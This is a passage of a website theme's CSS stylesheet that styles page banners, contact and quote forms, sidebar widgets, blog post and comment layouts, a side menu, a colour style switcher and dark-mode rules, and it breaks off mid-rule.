.sponsors-section-three .thm-swiper__slider .swiper-slide img { opacity: 0.2; transition: all 500ms ease; display: block; } .sponsors-section-three .thm-swiper__slider .swiper-slide img:hover { opacity: 0.6; } .sponsors-section__about-two { background-color: var(--thm-base); } /*** ==================================================================== 44. Page Banner ==================================================================== ***/ .page-banner { position: relative; padding: 0; color: #ffffff; background: var(--thm-black); background-position: center top; background-repeat: no-repeat; background-size: cover; } .page-banner .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 0.4; z-index: 0; background-repeat: no-repeat; background-position: center center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); } .page-banner .shape-1 { position: absolute; right: 0; top: 0; width: 250px; max-width: 100%; height: 100%; background: url(../images/background/b-shape-1.png) right bottom no-repeat; z-index: 1; } .page-banner .shape-2 { position: absolute; right: 0; top: 0; width: 250px; max-width: 100%; height: 100%; background: url(../images/background/b-shape-2.png) right top no-repeat; z-index: 1; } .page-banner .banner-inner { position: relative; display: block; text-align: center; z-index: 3; } .page-banner .inner-container { position: relative; padding: 240px 0px 120px; } .page-banner h1 { position: relative; font-size: 100px; color: #ffffff; line-height: 0.9em; font-weight: 600; letter-spacing: 1px; text-transform: uppercase; margin: 0; } .page-banner .page-nav { position: relative; padding-top: 5px; text-align: center; } .page-banner .bread-crumb { position: relative; display: inline-block; } .page-banner .bread-crumb li { position: relative; float: left; font-size: 20px; line-height: 30px; color: #ccd6df; font-weight: 400; text-transform: uppercase; letter-spacing: 1px; cursor: default; padding-right: 15px; margin-right: 15px; letter-spacing: 0.1em; font-family: var(--thm-font); } .page-banner .bread-crumb li:before { position: absolute; right: -15px; width: 30px; text-align: center; font-size: 20px; line-height: 30px; font-weight: 400; content: "-"; } .page-banner .bread-crumb li:last-child { padding-right: 0; margin-right: 0; } .page-banner .bread-crumb li:last-child:before { display: none; } .page-banner .bread-crumb li a { color: #ffffff; font-weight: 400; transition: all 300ms ease; } .page-banner .bread-crumb li a:hover, .page-banner .bread-crumb li.active { color: var(--thm-base); } /*** ==================================================================== 45. Faqs Section ==================================================================== ***/ .faqs-section { position: relative; padding: 120px 0px 100px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; overflow: hidden; } .faqs-section .faq-block { position: relative; margin-bottom: 20px; } /*** ==================================================================== 46. Get Quote ==================================================================== ***/ .get-quote-three { position: relative; padding: 120px 0px 100px; background: #ffffff; } .get-quote-three .sec-title { margin-bottom: 40px; } .get-quote-three .form-box { position: relative; display: block; max-width: 770px; margin: 0 auto; text-align: center; } .get-quote-three .form-box form .row { margin: 0 -10px; } .get-quote-three .form-box form .form-group { padding: 0px 10px; margin-bottom: 20px; } /*** ==================================================================== 47. Error Section ==================================================================== ***/ .error-section { position: relative; background: #ffffff; padding: 120px 0px; } .error-section .content { position: relative; max-width: 700px; text-align: center; margin: 0 auto; } .error-section .big-text { position: relative; line-height: 0.7em; font-size: 340px; color: var(--thm-base); font-weight: 400; letter-spacing: 15px; line-height: 1em; } .error-section .big-text .front { position: relative; display: block; width: 100%; text-align: center; } .error-section .big-text .back { position: absolute; padding-left: 20px; left: 0; top: 0; display: block; width: 100%; text-align: center; color: rgba(var(--thm-base-rgb), 0.1); } .error-section h2 { font-weight: 400; color: var(--thm-black); line-height: 1em; margin-bottom: 0px; text-transform: uppercase; letter-spacing: 0.005em; } .error-section .text { position: relative; display: block; line-height: 1.5em; } .error-section .link-box { position: relative; padding-top: 20px; } .error-section .link-box .theme-btn { position: relative; min-width: 200px; } .error-form { position: relative; max-width: 520px; margin: 50px auto 0; } .error-form form { position: relative; } .error-form .form-group { position: relative; margin: 0; } .error-form .form-group input[type="text"], .error-form .form-group input[type="search"], .error-form .form-group input[type="email"] { position: relative; width: 100%; line-height: 30px; padding: 20px 60px 20px 30px; height: 70px; display: block; font-size: 14px; background: #f4f5f8; color: var(--thm-text); border-radius: 7px; font-family: var(--thm-b-font); border: 1px solid #f4f5f8; transition: all 300ms ease; } .error-form .form-group input[type="text"]:focus, .error-form .form-group input[type="email"]:focus, .error-form .form-group input[type="search"]:focus { border-color: var(--thm-base); } .error-form .form-group input::-webkit-input-placeholder { color: #575757; } .error-form .form-group .theme-btn { position: absolute; right: 25px; top: 15px; width: 40px; height: 40px; line-height: 40px; font-size: 20px; background: none; color: var(--thm-text); } .error-form .form-group .theme-btn span { vertical-align: middle; } /*** ==================================================================== 48. Contact Section ==================================================================== ***/ .contact-section { position: relative; padding: 120px 0px 100px; background: #ffffff; } .contact-section__one-page { padding-bottom: 0; } .contact-section .map-box { position: relative; display: block; margin: 0 0 120px; border-radius: 7px; overflow: hidden; } .contact-section .form-box { position: relative; display: block; max-width: 770px; margin: 0 auto; text-align: center; } .contact-section .form-box form .row { margin: 0 -10px; } .contact-section .form-box form .form-group { padding: 0px 10px; margin-bottom: 20px; } .contact-section .upper-info { position: relative; margin-bottom: 90px; } .contact-section .info-block { position: relative; margin-bottom: 30px; } .contact-section .info-block .inner-box { position: relative; display: block; height: 100%; min-height: 100%; padding: 45px 45px 40px; background: #ffffff; border-radius: 7px; box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.05); transition: all 500ms ease; } .contact-section .info-block .inner-box:hover { background: var(--thm-black); } .contact-section .info-block .inner-box h5 { font-size: 24px; text-transform: uppercase; color: var(--thm-black); font-weight: 400; letter-spacing: 1px; line-height: 1.1em; margin: 0; } .contact-section .info-block .inner-box h5 a { color: var(--thm-black); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .contact-section .info-block .inner-box:hover h5, .contact-section .info-block .inner-box:hover h5 a { color: #ffffff; } .contact-section .info-block .inner-box .text { position: relative; display: block; color: var(--thm-text); padding: 30px 0px 0px; z-index: 1; } .contact-section .info-block .inner-box .text a { position: relative; color: var(--thm-text); } .contact-section .info-block .inner-box:hover .text, .contact-section .info-block .inner-box:hover .text a { color: #999b9f; } .contact-section .info-block .inner-box:hover h5 a:hover, .contact-section .info-block .inner-box:hover .text a:hover { text-decoration: underline; color: #ffffff; } .contact-infos { padding-top: 70px; padding-bottom: 70px; background-color: var(--thm-black); } .contact-infos .row { --bs-gutter-y: 20px; } @media (min-width: 992px) { .contact-infos { padding-top: 110px; padding-bottom: 110px; } } @media (min-width: 1200px) { .contact-infos [class*="col-"]:not(:first-child) p { padding-left: 55px; } } .contact-infos p { margin: 0; font-size: 16px; line-height: 36px; color: #a4a4a4; font-weight: 400; font-family: var(--thm-font); } .contact-infos p br { display: none; } @media (min-width: 768px) { .contact-infos p br { display: inherit; } } .contact-infos p a { color: inherit; transition: all 500ms ease; } .contact-infos p a:hover { color: #fff; } /*** ==================================================================== 49. Sidebar Page Container ==================================================================== ***/ .sidebar-page-container { position: relative; padding: 120px 0px 90px; } .sidebar-page-container .content-side { position: relative; margin-bottom: 30px; z-index: 1; } /* Sidebar */ .sidebar-page-container .sidebar-side { position: relative; margin-bottom: 30px; } .sidebar-page-container .sidebar { position: relative; } .sidebar .sidebar-widget { position: relative; display: block; margin-bottom: 30px; } .sidebar .sidebar-widget:last-child { margin-bottom: 0px; } .sidebar .sidebar-widget .widget-inner { position: relative; display: block; padding: 45px 45px; background: #f4f5f8; border-radius: 7px; } .sidebar-title { position: relative; margin-bottom: 20px; } .sidebar-title h4 { position: relative; display: inline-block; font-size: 24px; line-height: 1.1em; color: var(--thm-black); font-weight: 400; text-transform: uppercase; letter-spacing: 0.01em; margin-bottom: 0px; } .sidebar .services ul { position: relative; } .sidebar .services ul li { position: relative; line-height: 48px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); margin-bottom: 5px; } .sidebar .services ul li:before { content: ""; position: absolute; left: -20px; top: 0; right: -20px; bottom: 0; background: #ffffff; border-radius: 7px; opacity: 0; transition: all 0.3s ease; } .sidebar .services ul li:after { content: ""; position: absolute; left: -20px; top: 50%; margin-top: -12px; height: 24px; border-left: 2px solid var(--thm-base); opacity: 0; transition: all 0.3s ease; } .sidebar .services ul li:last-child { margin-bottom: 0; } .sidebar .services ul li a { position: relative; display: block; line-height: 48px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); font-family: var(--thm-b-font); font-weight: 400; transition: all 0.3s ease; z-index: 1; } .sidebar .services ul li:hover a, .sidebar .services ul li.active a { color: var(--thm-black); } .sidebar .services ul li:hover:before, .sidebar .services ul li.active:before, .sidebar .services ul li:hover:after, .sidebar .services ul li.active:after { opacity: 1; } .sidebar .services ul li a:after { position: absolute; right: 0; top: -1px; font-family: "Flaticon"; content: "\f15f"; opacity: 1; font-size: 10px; line-height: 48px; font-weight: 700; z-index: 1; } .sidebar .services ul li a:hover:before, .sidebar .services ul li.active a:before { opacity: 1; transform: scaleX(1); transition: all 0.3s ease 0.1s; } .sidebar .call-up .widget-inner { background: var(--thm-black); color: #999b9f; } .sidebar .call-up .sidebar-title h4 { color: #ffffff; } .sidebar .call-up .text { position: relative; display: block; } .sidebar .call-up .phone { position: relative; margin-top: 20px; color: #ffffff; font-size: 30px; line-height: 40px; text-transform: uppercase; letter-spacing: 1px; font-family: var(--thm-font); font-weight: 300; } .sidebar .call-up .phone .icon { position: relative; display: inline-block; vertical-align: middle; color: var(--thm-base); font-size: 20px; padding-right: 15px; } .sidebar .call-up .phone a { position: relative; color: #ffffff; } .sidebar .call-up .phone a:hover { text-decoration: underline; } .sidebar .search-box .widget-inner { padding: 0; background: none; } .sidebar .search-box .form-group { position: relative; margin: 0px; } .sidebar .search-box .form-group input[type="text"], .sidebar .search-box .form-group input[type="search"] { position: relative; line-height: 40px; padding: 19px 80px 19px 35px; background: var(--thm-base); color: var(--thm-black); display: block; font-size: 14px; width: 100%; height: 80px; border: 1px solid var(--thm-base); font-family: var(--thm-b-font); border-radius: 7px; transition: all 500ms ease; -moz-transition: all 500ms ease; -webkit-transition: all 500ms ease; -ms-transition: all 500ms ease; -o-transition: all 500ms ease; } .sidebar .search-box .form-group ::placeholder { opacity: 1; color: inherit; } .sidebar .search-box .form-group input:focus { border-color: var(--thm-black); } .sidebar .search-box .form-group button { position: absolute; right: 20px; top: 0px; height: 80px; width: 60px; line-height: 80px; display: block; font-size: 24px; color: var(--thm-black); background: none; font-weight: normal; } .sidebar .search-box .form-group input:focus+button, .sidebar .search-box .form-group button:hover { color: #181b1f; } .sidebar .recent-posts .post { position: relative; font-size: 20px; color: var(--thm-text); padding: 7px 0px 0px 85px; min-height: 62px; margin-bottom: 30px; } .sidebar .recent-posts .post:last-child { margin-bottom: 0px; } .sidebar .recent-posts .post-thumb { position: absolute; left: 0px; top: 0px; width: 62px; height: 62px; border-radius: 50%; } .sidebar .recent-posts .post-thumb img { position: relative; display: block; width: 100%; border-radius: 50%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .sidebar .recent-posts .post:hover .post-thumb img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .sidebar .recent-posts .text { font-size: 20px; line-height: 1.3em; color: var(--thm-text); font-weight: 300; text-transform: capitalize; margin: 0; letter-spacing: 0.07em; max-width: 170px; } .sidebar .recent-posts .text a { color: var(--thm-text); } .sidebar .recent-posts .text a:hover { color: var(--thm-black); } .sidebar .popular-tags .tags-list { padding-right: 20px; } .sidebar .popular-tags .tags-list li, .sidebar .popular-tags .tags-list a { position: relative; color: var(--thm-text); display: inline-block; } .sidebar .popular-tags .tags-list a { position: relative; display: inline-block; line-height: 1.45em; text-align: center; color: var(--thm-text); text-transform: capitalize; transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; -moz-transition: all 300ms ease; } .sidebar .popular-tags .tags-list a:hover { color: var(--thm-black); } .sidebar .archives ul { position: relative; } .sidebar .archives ul li { position: relative; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); margin-bottom: 15px; } .sidebar .archives ul li:last-child { margin-bottom: 0; } .sidebar .archives ul li a { position: relative; display: block; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); font-weight: 400; transition: all 0.3s ease; z-index: 1; } .sidebar .archives ul li:hover a, .sidebar .archives ul li.active a { color: var(--thm-black); font-weight: 400; } .sidebar .archives ul li a:after { position: absolute; right: 0; top: -1px; font-family: "Flaticon"; content: "\f15f"; opacity: 1; font-size: 10px; line-height: 30px; font-weight: 700; z-index: 1; } .sidebar .recent-comments .comment { position: relative; font-size: 20px; color: var(--thm-text); padding: 0px 0px 0px 70px; min-height: 48px; margin-bottom: 30px; } .sidebar .recent-comments .comment:last-child { margin-bottom: 0px; } .sidebar .recent-comments .comment .icon { position: absolute; left: 0px; top: 0px; width: 48px; height: 48px; font-size: 18px; line-height: 48px; background-color: var(--thm-black); color: #ffffff; text-align: center; border-radius: 50%; transition: all 0.3s ease; } .sidebar .recent-comments .comment:hover .icon { background: var(--thm-base); } .sidebar .recent-comments .comment .text { font-size: 20px; line-height: 24px; color: var(--thm-text); font-weight: 300; letter-spacing: 0.07em; text-transform: uppercase; margin: 0; } .sidebar .recent-comments .comment .text a { color: var(--thm-text); } .sidebar .recent-comments .comment .text a:hover { color: var(--thm-black); } /* Post Details */ .post-details { position: relative; margin-bottom: 30px; } .post-details .inner-box { position: relative; display: block; } .post-details .image-box { position: relative; display: block; overflow: hidden; } .post-details .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 500ms ease; border-radius: 7px; } .post-details .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .post-details .lower-box { position: relative; padding: 30px 0px 0px; } .post-details .post-meta { position: relative; display: block; } .post-details .post-meta ul { position: relative; display: block; } .post-details .post-meta ul li { position: relative; display: inline-block; vertical-align: middle; margin: 0 20px 5px 0px; font-size: 16px; letter-spacing: 0.07em; text-transform: uppercase; } .post-details .post-meta ul li .far, .post-details .post-meta ul li .fa { position: relative; top: -2px; color: var(--thm-base); font-size: 14px; padding-right: 3px; vertical-align: middle; } .post-details .lower-box h4 { text-transform: uppercase; font-size: 40px; line-height: 1.1em; color: var(--thm-black); margin-bottom: 30px; } .post-details .lower-box h4 a { color: var(--thm-black); } .post-details .lower-box h4 a:hover { color: var(--thm-base); text-decoration: underline; } .post-details .lower-box .text { position: relative; display: block; } .post-details .lower-box .text p { position: relative; margin-bottom: 35px; } .post-details .info-row { position: relative; display: block; padding: 28px 0px 0px; border-top: 1px solid #e9ebee; font-size: 16px; line-height: 30px; } .post-details .info-row strong { font-weight: 300; letter-spacing: 0.05em; font-size: 24px; text-transform: uppercase; font-weight: 400; font-family: var(--thm-font); color: var(--thm-black); } .post-details .info-row a { color: var(--thm-text); } .post-details .info-row a:hover { text-decoration: underline; } .post-details .info-row .tags-info { position: relative; float: left; } .post-details .info-row .cat-info { position: relative; float: right; } .sidebar-page-container .post-control-two { position: relative; margin-bottom: 20px; } .sidebar-page-container .post-control-two .control-col { position: relative; margin-bottom: 30px; } .sidebar-page-container .post-control-two .control-inner { position: relative; display: block; padding: 55px 50px; background: #f4f5f8; height: 100%; min-height: 100%; border-radius: 7px; transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .sidebar-page-container .post-control-two .control-inner:hover { background: var(--thm-base); } .sidebar-page-container .post-control-two .over-link { position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: 2; } .sidebar-page-container .post-control-two .control-inner h4 { position: relative; font-weight: 400; text-transform: uppercase; font-size: 30px; line-height: 1.1em; color: var(--thm-black); margin-bottom: 0px; } .sidebar-page-container .post-control-two .control-inner h4 a { color: var(--thm-black); } /*** ==================================================================== 50. Comment Area ==================================================================== ***/ .comments-title { position: relative; margin-bottom: 40px; } .comments-title h3 { font-size: 36px; font-weight: 400; text-transform: uppercase; letter-spacing: 0.02em; color: var(--thm-black); margin: 0; } .comments-area { position: relative; margin-bottom: 70px; } .comments-area .comment-box { position: relative; margin-bottom: 60px; padding-bottom: 60px; border-bottom: 1px solid #e9ebee; } .comments-area .comment { position: relative; min-height: 90px; padding-left: 130px; } .comments-area .comment-box .author-thumb { position: absolute; left: 0px; top: 0px; width: 90px; height: 90px; border-radius: 50%; margin-bottom: 20px; overflow: hidden; } .comments-area .comment-box .author-thumb img { width: 90px; height: 90px; display: block; border-radius: 50%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); } .comments-area .comment-box .info { position: relative; margin-bottom: 25px; line-height: 24px; } .comments-area .comment-box .info .name { position: relative; display: block; font-size: 24px; line-height: 30px; font-weight: 400; letter-spacing: 0.02em; color: var(--thm-black); text-transform: uppercase; font-family: var(--thm-font); } .comments-area .comment-box .info .date { position: relative; display: inline-block; color: var(--thm-base); } .comments-area .comment-box .text { position: relative; display: block; color: var(--thm-text); margin-bottom: 30px; } .comments-area .comment-box .reply-btn { position: relative; display: block; } .comments-area .comment-box .theme-btn .btn-title { padding: 6px 30px 4px; line-height: 30px; } /*** ==================================================================== 51. Leave Comments Form ==================================================================== ***/ .leave-comments { position: relative; } .leave-comments form .row { margin: 0 -10px; } .leave-comments form .form-group { padding: 0px 10px; margin-bottom: 20px; } .leave-comments form .form-group:last-child { margin-bottom: 0; } /*** ==================================================================== 52. Service Details ==================================================================== ***/ .service-details { position: relative; } .service-details .image { position: relative; display: block; overflow: hidden; } .service-details .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .service-details .image:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .service-details .main-image { margin-bottom: 35px; } .service-details h3 { font-size: 50px; letter-spacing: 1px; text-transform: uppercase; font-weight: 400; line-height: 1.1em; margin-bottom: 25px; } .service-details h4 { font-size: 36px; letter-spacing: 1px; text-transform: uppercase; font-weight: 400; line-height: 1.1em; margin-bottom: 20px; } .service-details .text-content { position: relative; display: block; } .service-details .text-content p { margin-bottom: 35px; } .service-details .text-content .last { margin-bottom: 0px; } .service-details .featured { position: relative; padding-top: 15px; padding-bottom: 15px; } .service-details .featured .image-col { margin-bottom: 30px; } .service-details .text-content ul { margin-bottom: 20px; } .service-details .text-content ul li { position: relative; padding-left: 30px; margin-bottom: 10px; } .service-details .text-content ul li:before { content: "\f131"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 53. Service Details ==================================================================== ***/ .project-single { position: relative; padding: 120px 0px 80px; } .project-single .image-col { position: relative; margin-bottom: 10px; } .project-single .image-col .inner { position: relative; display: block; } .project-single .image-box { position: relative; display: block; border-radius: 7px; overflow: hidden; margin-bottom: 30px; } .project-single.style-two .image-box { margin-bottom: 35px; } .project-single .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; transition: all 0.4s ease; -moz-transition: all 0.4s ease; -webkit-transition: all 0.4s ease; -ms-transition: all 0.4s ease; -o-transition: all 0.4s ease; } .project-single .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .project-single h5 { font-size: 30px; letter-spacing: 0.005em; text-transform: uppercase; font-weight: 400; line-height: 1.1em; margin-bottom: 20px; } .project-single.style-two h5 { font-size: 36px; } .project-single .text-content { position: relative; display: block; } .project-single .text-content p { margin-bottom: 25px; } .project-single .text-content .last { margin-bottom: 0px; } .project-single .text-content .info { position: relative; } .project-single .text-content .info li { position: relative; line-height: 26px; margin-bottom: 30px; } .project-single .text-content .info li strong { font-size: 24px; letter-spacing: 0.01em; text-transform: uppercase; font-weight: 400; line-height: 1em; font-family: var(--thm-font); color: var(--thm-black); } .post-control { position: relative; } .post-control .inner { position: relative; display: block; padding: 50px 0px; border-top: 1px solid #e9ebee; border-bottom: 1px solid #e9ebee; } .post-control .control { position: relative; float: left; line-height: 30px; font-size: 24px; color: var(--thm-black); letter-spacing: 0.05em; text-transform: uppercase; font-weight: 400; font-family: var(--thm-font); } .post-control .control.next { float: right; } .post-control .control a { display: block; line-height: 30px; font-size: 24px; color: var(--thm-black); font-weight: 400; } .post-control .control a:hover { color: var(--thm-base); } .post-control .control .fa { position: relative; vertical-align: top; line-height: 30px; font-size: 18px; } /*-------------------------------------------------------------- Side Menu --------------------------------------------------------------*/ /*-------------------------------------------------------------- # Sidemenu --------------------------------------------------------------*/ .side-menu__block { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 99999; transform: scale(0, 1); transform-origin: left center; transition: transform 0.7s ease; } .side-menu__block.active { transform: scale(1, 1); } .side-menu__block-overlay { width: 100%; height: 100%; background-color: var(--thm-black); position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 999; opacity: 0.7; } .side-menu__block-overlay .cursor-follower { background-color: rgba(8, 39, 64, 0.3); } .side-menu__block-inner { position: absolute; left: 0; top: 0; width: 100%; max-width: 520px; height: 100%; overflow-y: auto; background-color: #eceeef; z-index: 999999; padding: 40px 0; padding-top: 20px; } @media (max-width: 575px) { .side-menu__block-inner { max-width: 480px; } } @media (max-width: 480px) { .side-menu__block-inner { max-width: 400px; } } @media (max-width: 375px) { .side-menu__block-inner { max-width: 300px; } } .side-menu__block-inner .mCustomScrollBox { width: 100%; } .side-menu__top { display: flex; align-items: center; justify-content: space-between; padding-left: 100px; padding-right: 40px; } .mobile-nav__container { padding-left: 100px; padding-right: 100px; padding-top: 50px; } .mobile-nav__container ul { margin: 0; padding: 0; list-style: none; } .mobile-nav__container li.dropdown ul { display: none; padding: 10px 0px 0px; margin-bottom: 20px; padding-left: 0.5em; } .mobile-nav__container li.dropdown ul li { margin-bottom: 10px; } .mobile-nav__container li.dropdown { position: relative; } .mobile-nav__container li.dropdown>a { position: relative; display: inline-flex; padding-right: 25px; vertical-align: middle; } .mobile-nav__container li>a>span { background-color: var(--thm-base); color: #fff; font-size: 13px; text-transform: uppercase; border-radius: 5px; display: flex; justify-content: center; align-items: center; text-align: center; width: 40px; top: -3px; position: relative; margin-left: 5px; } .mobile-nav__container li.dropdown .dropdown-btn { position: absolute; top: 0; right: 0; line-height: 22px; width: 22px; height: 22px; display: block; text-align: center; border: none; outline: none; background-color: transparent; color: #9ca3a9; font-size: 14px; transform: rotate(90deg); transition: all 500ms ease; } .mobile-nav__container li.dropdown .dropdown-btn.open { transform: rotate(-90deg); color: var(--thm-black); } .mobile-nav__container li+li { margin-top: 10px; } .mobile-nav__container li a { text-transform: uppercase; color: #9ca3a9; font-size: 20px; letter-spacing: 1px; line-height: 24px; font-weight: 500; display: flex; transition: all 500ms ease; font-family: "Teko", sans-serif; position: relative; } .mobile-nav__container li a:hover { color: var(--thm-black); } .mobile-nav__container li.current-menu-item>a, .mobile-nav__container li.current-menu-item .dropdown-btn, .mobile-nav__container li.current .dropdown-btn, .mobile-nav__container li.current>a { color: var(--thm-black); } .side-menu__social { display: flex; align-items: center; margin-top: 80px; margin-bottom: 40px; } .side-menu__social a { display: flex; align-items: center; justify-content: center; text-align: center; width: 57px; height: 57px; background-color: #fff; color: #9ca3a9; font-size: 16px; border-radius: 50%; transition: all 500ms ease; } .side-menu__social a+a { margin-left: 10px; } .side-menu__social a:hover { background-color: #ffaa16; color: var(--thm-black); } .side-menu__content { padding-left: 100px; padding-right: 100px; } .side-menu__content p { margin: 0; font-family: var(--thm-b-font); color: #9ca3a9; } .side-menu__content p+p { margin-top: 30px; } .side-menu__content p a { color: var(--thm-black); transition: all 500ms ease; } .side-menu__content p a:hover { color: #ffaa16; text-decoration: underline; } .side-menu__sep { width: calc(100% - 200px); margin-left: auto; margin-right: auto; height: 1px; background-color: #fff; margin-top: 70px; margin-bottom: 70px; } .side-menu__text p { font-size: 20px; line-height: 30px; font-weight: 400; letter-spacing: 0.05em; color: #9ca3a9; margin: 0; margin-bottom: 25px; } .side-menu__text a { font-size: 20px; color: #ff0143; line-height: 30px; font-weight: 400; transition: all 500ms ease; } .side-menu__text a:hover { color: var(--thm-base); } .side-menu__block__copy { text-transform: uppercase; font-size: 16px; color: #9ca3a9; font-weight: 400; letter-spacing: 0.2em; } @media (max-width: 575px) { .side-menu__top, .side-menu__content, .mobile-nav__container { padding-left: 50px; padding-right: 50px; } .side-menu__sep { margin-top: 40px; margin-bottom: 40px; width: calc(100% - 100px); } } @media (max-width: 480px) { .side-menu__top, .side-menu__content, .mobile-nav__container { padding-left: 25px; padding-right: 25px; } .side-menu__sep { width: calc(100% - 50px); } .side-menu__social { margin-top: 40px; } .side-menu__social a { width: 45px; height: 45px; } } /* style switcher */ .style-switcher { font-family: "Teko", sans-serif; position: fixed; top: 100px; left: 0; z-index: 99999; background-color: #fff; width: 200px; text-align: center; box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); border-top-right-radius: 10px; border-bottom-right-radius: 10px; padding-top: 25px; padding-bottom: 30px; padding-left: 15px; padding-right: 15px; transform: translateX(-100%); transition: transform 500ms ease; } .style-switcher.active { transform: translateX(0%); } .style-switcher h3 { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 30px; line-height: 1; font-family: "Teko", sans-serif; margin-bottom: 20px; } .style-switcher .layout-feature, .style-switcher .language-feature { display: grid; grid-gap: 10px; grid-template-columns: 1fr 1fr; margin-top: 30px; } .style-switcher .layout-feature button, .style-switcher .layout-feature a, .style-switcher .language-feature button { border: none; outline: none; font-family: "Teko", sans-serif; font-size: 16px; text-transform: uppercase; background-color: var(--thm-black); color: #fff; border-radius: 5px; } .style-switcher .layout-feature a:last-child, .style-switcher .layout-feature button:last-child, .style-switcher .language-feature button.rtl-switcher { background-color: var(--thm-base); color: #fff; } #switcher-toggler { position: absolute; top: 20px; left: 100%; font-size: 22px; color: #fff; width: 40px; height: 40px; background-color: var(--thm-base); display: flex; align-items: center; justify-content: center; border-top-right-radius: 10px; border-bottom-right-radius: 10px; transition: 500ms; } #switcher-toggler:hover { color: #fff; background-color: var(--thm-black); } #styleOptions { display: grid; grid-gap: 20px; grid-template-columns: 1fr 1fr 1fr; } #styleOptions li { width: 100%; height: 44px; border-radius: 50%; overflow: hidden; } #styleOptions li a { display: block; width: 100%; height: 100%; } #styleOptions li a.color-default { background-color: #ffaa17; } #styleOptions li a.color-2 { background-color: #70f28b; } #styleOptions li a.color-3 { background-color: #83dcfa; } #styleOptions li a.color-4 { background-color: #ff6c6c; } #styleOptions li a.color-5 { background-color: #73a5ff; } #styleOptions li a.color-6 { background-color: #fe9759; } /* lang bar */ .skiptranslate { display: none !important; } /* parallax block */ .parallax-block { display: flex; flex-direction: column; min-height: 100vh; align-items: center; justify-content: center; padding-top: 60px; padding-bottom: 60px; } .parallax-block .jarallax-img { filter: grayscale(100%); } @media (max-height: 450px) { .parallax-block { padding-top: 120px; padding-bottom: 120px; } } .parallax-block__content h3 { margin: 0; text-transform: uppercase; font-weight: 600; font-size: 100px; max-width: 537px; line-height: 1; margin-bottom: 25px; } .parallax-block .auto-container { width: 100%; } @media (min-width: 1200px) { .parallax-block .auto-container { max-width: 1200px; } } /* dark mode css */ .body-dark, .body-dark .page-wrapper.boxed-wrapper { background-color: #1c1e22; } /* about section dark */ .body-dark .why-us-section, .body-dark .services-section-two, .body-dark .btn-style-two, .body-dark .testi-block .inner, .body-dark .error-section, .body-dark .default-form .form-group input[type="text"], .body-dark .default-form .form-group input[type="email"], .body-dark .default-form .form-group input[type="password"], .body-dark .default-form .form-group input[type="tel"], .body-dark .default-form .form-group input[type="url"], .body-dark .default-form .form-group input[type="file"], .body-dark .default-form .form-group input[type="number"], .body-dark .default-form .form-group textarea, .body-dark .default-form .form-group select, .body-dark .get-quote-two .form-box form .form-group input, .body-dark .get-quote-two .form-box form .form-group select, .body-dark .get-quote-two .form-box form .form-group textarea, .body-dark .get-quote-two .form-group .ui-selectmenu-button.ui-button, .body-dark .get-quote-section .default-form .theme-btn:hover .btn-curve, .body-dark .form-group .ui-selectmenu-button.ui-button, .body-dark .discover-section, .body-dark .services-section-three, .body-dark .features-section-two, .body-dark .get-quote-three, .body-dark .sponsors-section-two, .body-dark .contact-section, .body-dark .search-popup__form input, .body-dark .about-section { background-color: #1c1e22; } .body-dark .default-form .form-group input[type="text"], .body-dark .default-form .form-group input[type="email"], .body-dark .default-form .form-group input[type="password"], .body-dark .default-form .form-group input[type="tel"], .body-dark .default-form .form-group input[type="url"], .body-dark .default-form .form-group input[type="file"], .body-dark .default-form .form-group input[type="number"], .body-dark .default-form .form-group textarea, .body-dark .form-group .ui-selectmenu-button.ui-button, .body-dark .get-quote-two .form-box form .form-group input, .body-dark .get-quote-two .form-box form .form-group select, .body-dark .get-quote-two .form-box form .form-group textarea, .body-dark .get-quote-two .form-group .ui-selectmenu-button.ui-button, .body-dark .default-form .form-group select { border-color: #1c1e22; } .body-dark .contact-section .default-form .form-group input[type="text"], .body-dark .contact-section .default-form .form-group input[type="email"], .body-dark .contact-section .default-form .form-group 